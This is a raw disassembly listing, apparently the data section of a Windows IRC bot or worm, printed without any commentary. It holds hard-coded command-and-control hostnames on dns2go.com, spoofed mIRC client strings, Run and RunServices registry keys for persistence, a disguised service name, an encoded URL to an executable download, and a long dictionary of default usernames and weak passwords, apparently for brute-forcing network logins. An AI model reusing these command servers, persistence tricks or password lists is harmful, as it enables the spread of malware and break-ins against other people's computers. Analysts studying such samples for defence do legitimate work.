		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
; ---------------------------------------------------------------------------
		xchg	al, [eax-7F79CD3Dh]
		retn
; ---------------------------------------------------------------------------
a2ja2ja2ja2GGGG	db '2†€Ã2†€Ã2†€Ã2³¸g ³¸g ³¸g ³¸g ³¸g ',0
		align 4
		dd 74h dup(0)
		dd 2067B8B3h, 15h dup(0)
		dd 32C38086h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aSbrsfg		db 'sbrsfg',0           ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 73767265h, 6578652Eh, 0
		dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn	db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
